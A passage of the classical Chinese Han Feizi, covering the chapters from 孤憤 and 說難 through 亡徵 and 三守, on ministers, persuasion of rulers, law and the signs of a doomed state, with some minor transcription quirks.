不可。夫易牙爲君主味。君之所未嘗食唯人肉耳, 易牙蒸其子首而進之, 君所知也。人之情莫不愛其子, 今蒸其子以爲膳於君, 其子弗愛, 又安能愛君乎? 公曰 然則孰可? 管仲曰 隰朋可。其爲人也, 堅中而廉外, 少欲而多信。夫堅中, 則足以爲表 廉外, 則可以大任 少欲, 則能臨其衆 多信, 則能親鄰國。此霸者之佐也, 君其用之。 君曰 諾。 居一年餘, 管仲死, 君遂不用隰朋而與竪刁。刁竪事三年, 桓公南遊堂阜, 竪刁率易牙·衛公子開方及大臣爲亂。桓公渴餒而死南門之寢·公守之室, 身死三月不收, 蟲出於戶。故桓公之兵橫行天下, 爲五伯長, 卒見弑於其臣, 而滅高名, 爲天下笑者, 何也? 不用管仲之過也。故曰 過而不聽於忠臣, 獨行其意, 則滅其高名爲人笑之始也。\n奚謂內不量力? 昔者秦之攻宜陽, 韓氏急。公仲朋謂韓君曰 與國不可恃也, 豈如因張儀爲和於秦哉!因賂以名都而南與伐楚, 是患解於秦而害交於楚也。 公曰 善。 乃警公仲之行, 將西和秦。楚王聞之, 懼, 召陳軫而告之曰 韓朋將西和秦, 今將奈何? 陳軫曰 秦得韓之都一, 驅其練甲, 秦·韓爲一以南鄕楚, 此秦王之所以廟祠而求也, 其爲楚害必矣。王其趣發信臣, 多其車, 重其幣, 以奉韓曰 '不穀之國雖小, 卒已悉起, 願大國之信意於秦也。因願大國令使者入境, 視楚之起卒也。 韓使人之楚, 楚王因發車騎, 陳之下路, 謂韓使者曰 報韓君, 言弊邑之兵今將入境矣。 使者還報韓君, 韓君大悅, 止公仲。公仲曰 不可。夫以實告我者, 秦也 以名救我者, 楚也。聽楚之虛言而輕誣强秦之實禍, 則危國之本也。 韓君弗聽。公仲怒而歸, 十日不朝。宜陽益急, 韓君令使者趣卒於楚, 冠蓋相望而卒無至者。宜陽果拔, 爲諸侯笑。故曰 內不量力, 外恃諸侯者, 則國削之患也。\n奚謂國小無禮? 昔者晉公子重耳出亡, 過於曹, 曹君袒裼而觀之。釐負羈與叔瞻侍於前。叔瞻謂曹君曰 臣觀晉公子, 非常人也。君遇之無禮, 彼若有時反國而起兵, 卽恐爲曹傷, 君不如殺之。 曹君弗聽。釐負羈歸而不樂, 其妻問之曰 公從外來而有不樂之色, 何也? 負羈曰 吾聞之, 有福不及, 禍來連我。今日吾君召晉公子, 其遇之無禮。我與在前, 吾是以不樂。 其妻曰 吾觀晉公子, 萬乘之主也 其左右從者, 萬乘之相也。今窮而出亡 過於曹, 曹遇之無禮。此若反國, 必誅無禮, 則曹其首也。子奚不先自貳焉。 負羈曰 諾。 乃盛黃金於壺, 充之以餐, 加璧其上, 夜令人遺公子。公子見使者, 再拜, 受其餐而辭其璧。公子自曹入楚, 自楚入秦。入秦三年, 秦穆公召群臣而謀曰 昔者晉獻公與寡人交, 諸侯莫弗聞。獻公不幸離群臣, 出入十年矣。嗣子不善, 吾恐此將令其宗廟不拔除而社稷不血食也。如是弗定, 則非與人交之道。吾欲輔重耳而入之晉, 何如? 群臣皆曰 善。 公因起卒。革車五百乘, 疇騎二千, 步卒五萬, 輔重耳入之於晉, 立爲晉君。重耳卽位三年, 擧兵而伐曹矣。因令人告曹君曰 懸叔瞻而出之, 我且殺而以爲大戮。 又令人告釐負羈曰 軍旅薄城, 吾知子不違也。其表子之閭, 寡人將以爲令, 令軍勿敢犯。 曹人聞之, 率其親戚而保釐負羈之閭者七百餘家。此禮之所用也。故曹, 小國也, 而迫於晉·楚之間, 其君之危猶累卵也, 而以無禮涖之, 此所以絶世也。故曰 國小無禮, 不用諫臣, 則絶世之勢也。\n孤憤第十一\n智術之士, 必遠見而明察, 不明察, 不能燭私 能法之士, 必强毅而勁直, 不勁直, 不能矯姦。人臣循令而從事, 案法而治官, 非謂重人也。重人也者, 無令而擅爲, 法以利私, 耗國以便家, 力能得其君, 此所爲重人也。智術之士明察, 聽用, 且燭重人之陰情 能法之士, 勁直聽用, 且矯重人之姦行。故智術能法之士用, 則貴重之臣必在繩之外矣。是智法之士與當塗之人, 不可兩存之讐也。\n當塗之人擅事要, 則外內爲之用矣。是以諸侯不因, 則事不應, 故敵國爲之訟 百官不因, 則業不進, 故群臣爲之用 郎中不因, 則不得近主, 故左右爲之匿 學士不因, 則養祿薄禮卑, 故學士爲之談也。此四助者, 邪臣之所以自飾也。重人不能忠主而進其讐, 人主不能越四助而燭察其臣, 故人主愈弊而大臣愈重。\n凡當塗者之於人主也, 希不信愛也, 又且習故。若夫卽主心, 同乎好惡, 固其所自進也。官爵貴重, 朋黨又衆, 而一國爲之訟。則法術之士, 欲干上者, 非有所信愛之親, 習故之澤也, 又將以法術之言。矯人主阿辟之心, 是與人主相反也。處勢卑賤, 無黨孤特。夫以疏遠與近愛信爭, 其數不勝也 以新旅與習故爭, 其數不勝也 以反主意與同好爭, 其數不勝也 以輕賤與貴重爭, 其數不勝也 以一口與一國爭, 其數不勝也。法術之士操五不勝之勢, 以歲數而又不得見 當塗之人, 乘五勝之資, 而旦暮獨說於前。故法術之士奚道得進, 而人主奚時得悟乎。故資必不勝而勢不兩存, 法術之士焉得不危? 其可以罪過誣者, 以公法而誅之 其不可被以罪過者, 以私劍而窮之。是明法術而逆主上者, 不僇於吏誅, 必死於私劍矣。朋黨比周以弊主, 言曲以便私者, 必信於重人矣。故其可以功伐借者, 以官爵貴之 其可借以美名者, 以外權重之。是以弊主上而趨於私門者, 不顯於官爵, 必重於外權矣。今人主不合參驗而行誅, 不待見功而爵祿, 故法術之士, 安能蒙死亡而進其諒? 姦邪之臣安肯乘利而退其身? 故主上愈卑, 私門益尊。\n夫越雖富兵彊, 中國之主皆知無益於己也, 曰 非吾所得制也。 今有國者雖地廣人衆, 然而人主壅蔽, 大臣專權, 是國爲越也。智不類越, 而不智, 不類其國, 不察其類者也。人主所以謂齊亡者, 非地與城亡也, 呂氏弗制而田氏用之 所以謂晉亡者, 亦非地與城亡也, 姬氏不制而六卿專之也。今大臣執柄獨斷, 而上弗知收, 是人主不明也。與死人同病者, 不可生也 與亡國同事者, 不可存也。今襲迹於齊·晉, 欲國安存, 不可得也。\n凡法術之難行也, 不獨萬乘, 千乘亦然。人主之左右不必智也, 人主於人有所智而聽之, 因與左右論其言, 是與愚人論智也 人主之左右不必賢也, 人主於人有所賢而禮之, 因與左右論其行, 是與不肖論賢也。智者決策於愚人, 賢士程行於不肖, 則賢智之士羞而人主之論悖矣。人臣之欲得官者, 其修士且以精潔固身, 其智士且以治辯進業。其修士不能以貨賂事人, 恃其精絜而更不能以枉法爲治, 則修智之士不事左右·不聽請謁矣。治辯之功制於近習, 精潔之行夷也, 求索不得, 貨賂不至, 則精辯之功息, 而毁誣之言起矣。人主之左右行, 非伯夷也。求索不得, 貨賂不至, 則精辯之功息, 而毁誣之言起矣。治亂之功制於近習, 精潔之行, 決於毁譽, 則修智之吏廢, 而人主之明塞矣。不以功伐決智行, 不以參伍審罪過, 而聽左右近習之言, 則無能之士在廷, 而愚汚之吏處官矣。\n萬乘之患, 大臣太重 千乘之患, 左右太信 此人主之所公患也。且人臣有大罪, 人主有大失, 臣主之利與相異者也。何以明之哉? 曰 主利在有能而任官, 臣利在無能而得事 主利在有勞而爵祿, 臣利在無功而富貴 主利在豪傑使能, 臣利在朋黨用私。是以國地削而私家富, 主上卑而大臣重。故主失勢而臣得國, 主更稱蕃臣, 而相室剖符。此人臣之所以譎主便私也。故當世之重臣, 主變勢而得固寵者, 十無二三。是其故何也? 人臣之罪大也。臣有大罪者, 其行欺主也, 其罪當死亡也, 智士者遠見而畏於死亡, 必不從重人矣 賢士者修廉而羞與姦臣欺其主, 必不從重臣矣, 是當塗者之徒屬, 非愚而不知患者, 必汚而不避姦者也。大臣挾愚汚之人, 上與之欺主, 下與之收利, 侵漁朋黨, 比周相與, 一口惑主敗法, 以亂士民, 使國家危削, 主上勞辱, 此大罪也。臣有大罪而主弗禁, 此大失也。使其主有大失於上, 臣有大罪於下, 索國之不亡者, 不可得也。\n說難第十二\n凡說之難 非吾知之有以說之之難也, 又非吾辯之能明吾意之難也, 又非吾敢橫失而能盡之難也。凡說之難 在知所說之心, 可以吾說當之。\n所說出於爲名高者也, 而說之以厚利, 則見下節而遇卑賤, 必棄遠矣。所說出於厚利者也, 而說之以名高, 則見無心而遠事情, 必不收矣。所說陰爲厚利而顯爲名高者也, 而說之以名高, 則陽收其身而實疏之 說之以厚利, 則陰用其言顯棄其身矣。此不可不察也。\n夫事以密成, 語以泄敗。未必其身泄之也, 而語及所匿之事, 如此者身危。彼顯有所出事, 而乃以成他故, 說者不徒知所出而已矣, 又知其所以爲, 如此者身危。規異事而當, 知者揣之外而得之, 事泄於外, 必以爲己也, 如此者身危。周澤未渥也, 而語極知, 說行而有功, 則德忘 說不行而有敗, 則見疑, 如此者身危。貴人有過端, 而說者明言禮義以挑其惡, 如此者身危。貴人或得計而欲自以爲功, 說者與知焉, 如此者身危。彊以其所不能爲, 止以其所不能已, 如此者身危。故與之論大人, 則以爲間已矣 與之論細人, 則以爲賣重。論其所愛, 則以爲藉資 論其所憎, 則以爲嘗已也, 徑省其說, 則以爲不智而拙之 米鹽博辯, 則以爲多而交之。略事陳意, 則曰怯懦而不盡 慮事廣肆, 則曰草野而倨侮。此說之難, 不可不知也。\n凡說之務, 在知飾所說之所矜而滅其所恥。彼有私急也, 必以公義示而强之。其意有下也, 然而不能已, 說者因爲之飾其美而少其不爲也。其心有高也, 而實不能及, 說者爲之擧其過, 而見其惡而多其不行也。有欲矜以智能, 則爲之擧異事之同類者, 多爲之地, 使之資說於我, 而佯不知也, 以資其智。欲內相存之言, 則必以美名明之, 而微見其合於私利也。欲陳危害之事, 則顯其毁誹而微見其合於私患也。譽異人與同行者, 規異事與同計者。有與同汚者, 則必以大飾其無傷也 有與同敗者, 則必以明飾其無失也。彼自多其力, 則毋以其難槪之也 自勇其斷, 則無以其謫怒之 自智其計, 則毋以其敗窮之。大意無所拂悟, 辭言無所繫縻, 然後極騁智辯焉。此道所得, 親近不疑而得盡辭也。\n伊尹爲宰, 百里奚爲虜, 皆所以干其上也。此二人者, 皆聖人也 然猶不能無役身以進, 如此其汚也!今以吾言爲宰虜, 而可以聽用而振世, 此非能仕之所恥也。夫曠日彌久, 而周澤旣渥, 深計而不疑, 引爭而不罪, 則明割利害以致其功, 直指是非以飾其身, 以此相持, 此說之成也。\n昔者鄭武公欲伐胡, 故先以其女妻胡君以娛其意。因問於群臣 吾欲用兵, 誰可伐者? 大夫關其思對曰 胡可伐。 武公怒而戮之, 曰 胡, 兄弟之國也。子言伐之, 何也? 胡君聞之, 以鄭爲親已, 遂不備鄭。鄭人襲胡, 取之。宋有富人, 天雨牆壞。其子曰 不築, 必將有盜。 其鄰人之父亦云。暮而果大亡其財。其家甚智其子, 而疑鄰人之父。此二人說者皆當矣, 厚者爲戮, 薄者見疑, 則非知之難也, 處之則難也。故繞朝之言當矣, 其爲聖人於晉, 而爲戮於秦也, 此不可不察。\n昔者彌子瑕有寵於衛君。衛國之法 竊駕君車者罪刖。彌子瑕母病, 人聞有夜告彌子, 彌子矯駕君車以出。君聞而賢之, 曰 孝哉! 爲母之故, 忘其犯刖罪。 異日, 與君遊於果園, 食桃而甘, 不盡, 以其半啗君。君曰 愛我哉! 忘其口味, 以啖寡人。 及彌子色衰愛弛, 得罪於君, 君曰 是固嘗矯駕吾車, 又嘗啗我以餘桃。 故彌子之行未變於初也, 而以前之所以見賢而後獲罪者, 愛憎之變也。故有愛於主, 則智當而加親 有憎於主, 則智不當見罪而加疏。故諫說談論之士, 不可不察愛憎之主而後說焉。\n夫龍之爲虫也, 柔可狎而騎也 然其喉下有逆鱗徑尺, 若人有嬰之者, 則必殺人。人主亦有逆鱗, 說者能無嬰人主之逆鱗, 則幾矣。\n和氏第十三\n楚人和氏得玉璞楚山中, 奉而獻之厲王。厲王使玉人相之。玉人曰 石也。 王以和爲誑, 而刖其左足。及厲王薨, 武王卽位。和又奉其璞而獻之武王。武王使玉人相之。又曰 石也。 王又以和爲誑, 而刖其右足。武王薨, 文王卽位。和乃抱其璞而哭於楚山之下, 三日三夜, 泣盡而繼之以血。王聞之, 使人問其故, 曰 天下之刖者多矣, 子奚哭之悲也? 和曰 吾非悲刖也, 悲夫寶玉而題之以石, 貞士而名之以誑, 此吾所以悲也。 王乃使玉人理其璞而得寶焉, 遂命曰 和氏之璧。\n夫珠玉, 人主之所急也。和雖獻璞而未美, 未爲王之害也, 然猶兩足斬而寶乃論, 論寶若此其難也。今人主之於法術也, 未必和璧之急也 而禁群臣士民之私邪。然則有道者之不僇也, 特帝王之璞未獻耳。主用術, 則大臣不得擅斷, 近習不敢賣重 官行法, 則浮萌趨於耕農, 而遊士危於戰陳 則法術者乃群臣士民之所禍也。人主非能倍大臣之議, 越民萌之誹, 獨周乎道言也, 則法術之士, 雖至死亡, 道必不論矣。\n昔者吳起敎楚悼王以楚國之欲曰 大臣太重, 封君太衆。若此, 則上偪主而下虐民, 此貧國弱兵之道也。不如使封君之子孫, 三世而收爵祿, 絶滅百吏之祿秩, 損不急之枝官, 以奉選練之士。 悼王行之期年而薨矣, 吳起枝解於楚。商君敎秦孝公以連什伍, 設告坐之過, 燔詩書而明法令, 塞私門之請而遂公家之勞, 禁遊宦之民而顯耕戰之士。孝公行之, 主以尊安, 國以富强, 八年而薨, 商君車裂於秦。楚不用吳起而削亂, 秦行商君法而富强。二子之言也已當矣, 然而枝解吳起而車裂商君者, 何也? 大臣苦法而細民惡治也。當今之世, 大臣貪重, 細民安亂, 甚於秦·楚之俗, 而人主無悼王·孝公之聽, 則法術之士, 安能蒙二子之危也而明己之法術哉? 此世所亂無霸王也。\n姦劫弑臣第十四\n凡姦臣皆欲順人主之心以取信幸之勢者也。是以主有所善, 臣從而譽之 主有所憎, 臣因而毁之。凡人之大體, 取舍同者則相是也, 取舍異者則相非也。今人臣之所譽者, 人主之所是也, 此之謂同取 人臣之所毁者, 人主之所非也, 此之謂同舍。夫取舍合而相與逆者, 未嘗聞也。此人臣之所以取信幸之道也。夫姦臣得乘信幸之勢, 以毁譽進退群臣者, 人主非有術數以御之也, 非參驗以審之也, 必將以曩之合已。信今之言, 此幸臣之所鎰欺主成私者也。故主必蔽於上, 而臣必重於下矣, 此之謂擅主之臣。\n國有擅主之臣, 則群下不得盡其智力以陳其忠, 百官之吏不得奉法以致其功矣。何以明之? 夫安利者就之, 危害者去之, 此人之情也。今爲臣盡力以致功, 竭智以陳忠者, 其身困而家貧, 父子罹其害 爲姦利以弊人主, 行財貨以事貴重之臣者, 身尊家富, 父子被其澤 人焉能去安利之道而就危害之處哉? 治國若此其過也, 而上欲下之無姦, 吏之奉法, 其不可得亦明矣。故左右知貞信之不可鎰安利也, 必曰 我以忠信事上, 積功勞而求安, 是猶盲而欲知黑白之情, 必不幾矣, 若爾化行正理, 不趨富貴, 事上而求安, 是猶聾而欲審淸濁之聲也, 愈不幾矣。二者不可鎰安, 我安能無相比周·蔽主上·爲姦私以適重人哉? 此必不顧人主之義矣。其百官之吏亦知方正之不可鎰安也, 必曰 我以淸廉事上而求安, 若無規矩而欲爲方圓也, 必不幾矣 若以守法不朋黨治官而求安, 是猶以足搔頂也, 愈不幾也。二者不可鎰安, 能無廢法行私以適重人哉? 此必不顧君上之法矣。故以私爲重人者衆, 而以法事君者少矣。是以主孤於上而臣成黨於下, 此田成之所以弑簡公者也。\n夫有術者之爲人臣也, 得效度數之言, 上明主法, 下困姦臣, 以尊主安國者也。是以度數之言得效於前, 則賞罰必用於後矣。人主誠明於聖人之術, 而不苟於世俗之言, 循名實而定是非, 因參驗而審言辭。是以左右近習之臣, 知僞詐之, 不可鎰安也, 必曰 我不去姦私之行, 盡力竭智以事主, 而乃以相與比周妄毁譽以求安, 是猶負千鈞之重, 陷於不測之淵而求生也, 必不幾矣。 百官之吏亦知爲姦利之不可鎰安也, 必曰 我不以淸廉方正奉法, 乃以貧汚之心枉法以取私利, 是猶上高陵之顚墮峻谿之下而求生, 必不幾矣。 安危之道, 若此其明也, 左右安能以虛言惑主, 而百官安敢以貪漁下? 是以臣得陳其忠而不弊, 下得守其職而不怨, 此管仲之所以治齊, 而商君之所以强秦也。\n從是觀之, 則聖人之治國也, 固有使人不得不愛我之道, 而不恃人之以愛爲我也。恃人之以愛爲我者危矣, 恃吾不可不爲者安矣。夫君臣非有骨肉之親, 正直之道可鎰利, 則臣盡力以事主 正直之道, 不可鎰安, 則臣行私以干上。明主知之, 故設利害之道, 以示天下而已矣。夫是以人主雖不口敎百官, 不目索姦, 而國已治矣。人主者, 非目若離婁乃爲明也, 非耳若師曠乃爲聰也。不任其數, 而待目以爲明, 所見者少矣, 非不弊之術也。不因其勢, 而待耳以爲聰, 所聞者寡矣, 非不欺之道也。明主者, 使天下不得不爲已視, 使天下不得不爲己聽。故身在深宮之中而明照四海之內, 而天下弗能蔽弗能欺者, 何也? 闇亂之道, 廢而聰明之勢興也。故善任勢者國安, 不知因其勢者國危。古秦之俗, 君臣廢法而服私, 是以國亂兵弱而主卑。商君說秦孝公以變法易俗, 而明公道, 賞告姦·困末作而利本事。當此之時, 秦民習故俗之有罪可鎰免, 無功可鎰尊顯也, 故輕犯新法。於是犯之者其誅重而必, 告之者其賞厚而信, 故姦莫不得而被刑者衆, 民疾怨而衆過日聞。孝公不聽, 遂行商君之法。民後知有罪之必誅, 而私姦者衆也, 故民莫犯, 其刑無所加。是以國治而兵强, 地廣而主尊。此其所以然者, 匿罪之罰重, 而告姦之賞厚也。此亦使天下必爲已視聽之道也。至治之法術已明矣, 而世學者弗知也。\n且夫世之愚學, 皆不知治亂之情, 讘䛟多誦先古之書, 以亂當世之治 智慮不足以避穽井之陷, 又妄非有術之士。聽其言者危, 用其計者亂, 此亦愚之至大而患之至甚者也。俱與有術之士有談說之名, 而實相去千萬也, 此夫名同而實有異者也。夫世愚學之人, 比有術之士也, 猶螘垤之比大陵也, 其相去遠矣。而聖人者, 審於是非之實, 察於治亂之情也。故其治國也, 正明法, 陳嚴刑, 將以救群生之亂, 去天下之禍, 使强不陵弱, 衆不暴寡, 耆老得遂, 幼孤得長, 邊境不侵, 君臣相親, 父子相保, 而無死亡係虜之患, 此亦功之至厚者也!愚人不知, 顧以爲暴。愚者固欲治而惡其所以治, 皆惡危而喜其所以危者。何以知之? 夫嚴刑重罰者, 民之所惡也。而國之所以治也 哀憐百姓輕刑罰者, 民之所喜, 而國之所以危也。聖人爲法國者, 必逆於世, 而順於道德。知之者, 同於義而異於俗 弗知之者, 異於義而同於俗。天下知之者少, 則義非矣。\n處非道之位, 被衆口之譖, 溺於當世之言, 而欲當嚴天子而求安, 幾不亦難哉, 此夫智士所以至死而不顯於世者也。楚莊王之弟春申君。有愛妾曰余, 春申君之正妻子曰甲。余欲君之棄其妻也, 因自傷其身以視君而泣, 曰 得爲君之妾, 甚幸。雖然, 適夫人非所以事君也, 適君非所以事夫人也。身故不肖, 力不足以適二主, 其勢不俱適, 與其死夫人所者, 不若賜死君前。妾以賜死, 若復幸於左右, 願君必察之, 無爲人笑。 君因信妾余之詐, 爲棄正妻。余又欲殺甲, 而以其子爲後, 因自裂其親身衣之裏, 以示君而泣, 曰 余之得幸君之日久矣, 甲非弗知也, 今乃欲强戱余。余與爭之, 至裂余之衣, 而此子之不孝, 莫大於此矣。 君怒, 而殺甲也。故妻以妾余之詐棄, 而子以之死。從是觀之, 父子愛子也, 猶可以毁而害也。君臣之相與也, 非有父子之親也, 而群臣之毁言, 非特一妾之口也, 何怪夫賢聖之戮死哉! 此商君之所以車裂於秦, 而吳起之所以枝解於楚者也。凡人臣者, 有罪固不欲誅, 無功者皆欲尊顯。而聖人之治國也, 賞不加於無功, 而誅必行於有罪者也。然則有術數者之爲人也, 固左右姦臣之所害, 非明主弗能聽也。\n世之學者說人主, 不曰 乘威嚴之勢, 以困姦之臣 , 而皆曰 仁義惠愛而已矣 。世主美仁義之名而不察其實, 是以大者國亡身死, 小者地削主卑。何以明之? 夫施與貧困者, 此世之所謂仁義 哀憐百姓, 不忍誅罰者, 此世之所謂惠愛也。夫有施與貧困, 則無功者得賞 不妨誅罰, 則暴亂者不止。國有無功得賞者, 則民不外務當敵斬首, 內不急力田疾作, 皆欲行貨財, 事富貴爲私善立名譽, 以取尊官厚俸。故姦私之臣愈衆, 而暴亂之徒愈勝, 不亡何待? 夫嚴刑者, 民之所畏也 重罰者, 民之所惡也。故聖人陳其所畏, 以禁其衺, 設其所惡, 以防其姦, 是以國安而暴亂不起。吾以是明仁義愛惠之不足用, 而嚴刑重罰之可以治國也。無捶策之威, 銜橛之備, 雖造父不能以服馬 無規矩之法, 繩墨之端, 雖王爾不能以成方圓 無威嚴之勢, 賞罰之法, 雖堯舜不能以爲治。今世主皆輕釋重罰嚴誅, 行愛惠, 而欲霸王之功, 亦不可幾也。故善爲主者, 明賞設利以勸之, 使民以功賞而不以仁義賜 嚴刑重罰以禁之, 使民以罪誅而不以愛惠免。是以無功者不望, 而有罪者不幸矣。託於犀車良馬之上, 則可以陸犯阪阻之患 乘舟之安, 持檝之利, 則可以水絶江河之難 操法術之數, 行重罰嚴誅, 則可以致霸王之功。治國之有法術賞罰, 猶若陸行之有犀車良馬也, 水行之有輕舟便檝也, 乘之者遂得其成。伊尹得之, 湯以王 管仲得之, 齊以霸 商君得之, 秦以强。此三人者, 皆明於霸王之術, 察於治强之數, 而不以牽於世俗之言 適當世明主之意, 則有直任布衣之士, 立爲卿相之處 處位治國, 則有尊主廣地之實 此之謂足貴之臣。湯得伊尹, 以百里之地, 立爲天子 桓公得管仲, 立爲五霸主, 九合諸侯, 一匡天下 孝公得商君, 地以廣, 兵以强。故有忠臣者, 外無敵國之患, 內無亂臣之憂, 長安於天下, 而名垂後世, 所謂忠臣也。若夫豫讓爲智伯臣也, 上不能說人主, 使之明法術度藪之理, 以避禍難之患, 下不能領御其衆, 以安其國。及襄子之殺智伯也, 豫讓乃自黔劓, 敗其形容, 以爲智伯報襄子之讐。是雖有殘刑殺身以爲人主之名, 而實無益於智伯, 若秋毫之末。此吾之所下也, 而世主以爲忠而高之。古有伯夷叔齊者, 武王讓以天下而弗受, 二人餓死首陽之陵。若此臣者, 不畏重誅, 不利重賞, 不可以罰禁也, 不可以賞使也, 此之謂無益之臣也。吾所少而去也, 而世主之所多而求也。\n諺曰 厲憐王。 此不恭之言也。雖然, 古無虛諺, 不可不察也。此謂劫殺死亡之主言也。人主無法術以御其臣, 雖長年而美材, 大臣猶將得勢擅事主斷, 而各爲其私急。而恐父兄豪傑之士, 借人主之力, 以禁誅於己也。故弑賢長而立幼弱, 廢正的而立不義。故《春秋》記之曰 楚王子圍將聘於鄭, 未出境, 聞王病而反。因入問病, 以其冠纓絞王而殺之, 遂自立也。齊崔杼其妻美, 而莊公通之, 數如崔氏之室。及公往, 崔子之徒, 賈擧率崔子之徒而攻公。公入室, 請與之分國, 崔子不許 公請自刃於廟, 崔子又不聽 公乃走, 踰於北牆。賈擧射公, 中其股, 公墜, 崔子之徒以戈斫公而死之, 而立其弟景公。 近之所見 李兌之用趙也, 餓主父百日而死, 卓齒之用齊也, 擢王之筋, 懸之廟梁, 宿昔而死。故厲雖*옹腫疕瘍, 上比於《春秋》, 未至於絞頸射股也 下比於近世, 未至餓死擢筋也。故劫殺死亡之君, 此其心之憂懼, 形之苦痛也, 必甚於厲矣。由此觀之, 雖 厲憐王 可也。\n亡徵第十五\n凡人主之國小而家大, 權輕而臣重者, 可亡也。簡法禁而務謀慮, 荒封內而恃交援者, 可亡也。群臣爲學, 門子好辯, 商賈外積, 小民內困者, 可亡也。好宮室臺榭陂池, 事車服器玩好, 罷露百姓, 煎靡貨財者, 可亡也。用時日, 事鬼神, 信卜筮, 而好祭祀者, 可亡也。聽以爵, 不以衆言參驗, 用一人爲門戶者, 可亡也。官職可以重求, 爵祿可以貨得者, 可亡也。緩心而無成, 柔茹而寡斷, 好惡無決, 而無所定立者, 可亡也, 饕貪而無饜, 近利而好得者, 可亡也。喜淫刑而不周於法, 好辯說而不求其用, 濫於文麗而不顧其功者, 可亡也。淺薄而易見, 漏泄而無藏, 不能周密, 而通群臣之語者, 可亡也。很剛而不和, 愎諫而好勝, 不顧社稷而輕爲自信者, 可亡也。恃交援而簡近鄰, 怙强大之救, 而侮所迫之國者, 可亡也。羈旅僑士, 重帑在外, 上間謀計, 下與民事者, 可亡也。民信其相, 下不能其上, 主愛信之而弗能廢者, 可亡也, 境內之傑不事, 而求封外之士, 不以功伐課試, 而好以名問擧錯, 羈旅起貴, 以陵故常者, 可亡也。輕其適正, 庶子稱衡, 太子未定而主卽世者, 可亡也。大心而無悔, 國亂而自多, 不料境內之資而易其鄰敵者, 可亡也。國小而不處卑, 力少而不畏强, 無禮而侮大鄰, 貪愎而拙交者, 可亡也。太子已置, 而娶於强敵以爲後妻, 則太子危, 如是則群臣易慮者, 可亡也。怯懾而弱守, 蚤見而心柔懦, 知有謂可, 斷而弗敢行者, 可亡也。出君在外而國更置, 質太子未反而君易子, 如是則國攜者, 可亡也。挫辱大臣而狎其身, 刑戮小民而逆其使, 懷怒思恥而專習則賊生 賊生者, 可亡也。大臣兩重, 父兄衆强, 內黨外援以爭事勢者, 可亡也。婢妾之言聽, 愛玩之智用, 外內悲惋而數行不法者, 可亡也, 簡侮大臣, 無禮父兄, 勞苦百姓, 殺戮不辜者, 可亡也。好以智矯法, 時以行襍公, 法禁變易, 號令數下者, 可亡也。無地固, 城郭惡, 無畜積, 財物寡, 無守戰之備而輕攻伐者, 可亡也。種類不壽, 主數卽世, 嬰兒爲君, 大臣專制, 樹羈旅以爲黨, 數割地以待交者, 可亡也。太子尊顯, 徒屬衆强, 多大國之交, 而威勢蚤具者, 可亡也。變褊而心急, 輕疾而易動發, 心悁忿而不訾前後者, 可亡也。主多怒而好用兵, 簡本敎而輕戰攻者, 可亡也。貴臣相妬, 大臣隆盛, 外藉敵國, 內困百姓, 以攻怨讎, 而人主弗誅者, 可亡也。君不肖而側室賢, 太子輕而庶子伉, 官吏弱而人民桀, 如此則國躁 國躁者, 可亡也。藏怒而弗發, 懸罪而弗誅, 使群臣陰憎而愈憂懼而久未可知者, 可亡也。出軍命將, 太重邊地任守太尊, 專制擅命, 徑爲而無所請者, 可亡也。後妻淫亂, 主母畜穢, 外內混通, 男女無別, 是謂兩主 兩主者, 可亡也, 後妻賤而婢妾貴, 太子卑而庶子尊, 相室輕而典謁重, 如此則內外乖 內外乖者, 可亡也。大臣甚貴, 偏黨衆强, 壅塞主斷而重擅國者, 可亡也。私門之官用, 馬府之世 , 鄕曲之善, 擧官職之勞, 廢貴私行, 而賤公功者, 可亡也。公家虛而大臣實, 正戶貧而寄寓富, 耕戰之士困, 末作之民利者, 可亡也。見大利而不趨, 聞禍端而不備, 淺薄於爭守之事, 而務以仁義自飾者, 可亡也。不爲人主之孝, 而慕匹夫之孝, 不顧社稷之利, 而聽主母之令, 女子用國, 刑餘用事者, 可亡也。辭辯而不法, 心智而無術, 主多能而不以法度從事者, 可亡也。親臣進而故人退, 不肖用事而賢良伏, 無功貴而勞苦賤, 如是則下怨 下怨者, 可亡也。父兄大臣祿秩過功, 章服侵等, 宮室供養太侈, 而人主弗禁, 則臣心無窮 臣心無窮者, 可亡也。公壻公孫與民同門, 暴章其鄰者, 可亡也。\n亡徵者, 非曰必亡, 言其可亡也。夫兩堯不能相王, 兩桀不能相亡 亡王之機, 必其治亂, 其强弱相踦者也。木之折也必通蠹, 牆之壞也必通隙。然木雖蠹, 無疾風不折 牆雖隙, 無大雨不壞。萬乘之主, 有能服術行法, 以爲亡徵之君風雨者, 其兼天下不難矣。\n三守第十六\n人主有三守。三守完, 則國安身榮 三守不完, 則國危身殆。何謂三守? 人臣有議當途之失, 用事之過, 擧臣之情, 人主不心藏而漏之近習能人, 使人臣之欲有言者, 不敢不下適近習能人之心, 而乃上以聞人主。然則端言直道之人不得見, 而忠直日疏。愛人, 不獨利也, 待譽而後利之 憎人, 不獨害也, 待非而後害之。然則人主無威, 而重在左右矣。惡自治之勞憚, 使群臣輻湊用事。因傳柄移藉, 使殺生之機, 奪予之要在大臣, 如是者侵。此謂三守不完。三守不完, 則劫殺之徵也。\n凡劫有三 有明劫, 有事劫, 有刑劫, 人臣有大臣之尊, 外操國要以資群臣, 使外內之事, 非已不得行。雖有賢良, 逆者必有禍, 而順者必有福。然則群臣直莫敢忠主憂國, 以爭社稷之利害。人主雖賢, 不能獨計, 而人臣有不敢忠主, 則國爲亡國矣。此謂國無臣。國無臣者, 豈郎中虛而朝臣少哉? 群臣持祿養交, 行私道而不效公忠, 此謂明劫。鬻寵擅權, 矯外以勝內, 險言禍福得失之形, 以阿主之好惡。人主聽之, 卑身輕國以資之, 事敗與主分其禍, 而功成則臣獨專之。諸用事之人, 壹心同辭以語其美, 則主言惡者必不信矣, 此謂事劫。至於守司囹圄, 禁制刑罰, 人臣擅之, 此謂刑劫。三守不完, 則三劫者起 三守完, 則三劫者止。三劫止塞, 則王矣。\n備內第十七\n人主之患在於信人。信人, 則制於人。人臣之於其君, 非有骨肉之親也, 縛於勢而不得不事也。故爲人臣者, 窺覘其君心也無須臾之休, 而人主慠處其上, 此世所以有劫君弑主也。爲人主而大信其子, 則姦臣得乘於子以成其私, 故李兌傅趙王而餓主父。爲人主而大信其妻, 則姦臣得乘於妻以成其私, 故優施傅麗姬殺申生而立奚齊。夫以妻之近與子之親而猶不可信, 則其餘無可信者矣。\n且萬乘之主, 千乘之君, 后妃夫人適子爲太子者, 或有欲其君之蚤死者。何以知其然, 夫妻者, 非有骨肉之恩也, 愛則親, 不愛則疏。語曰 其母好者其子抱。 然則其爲之反也, 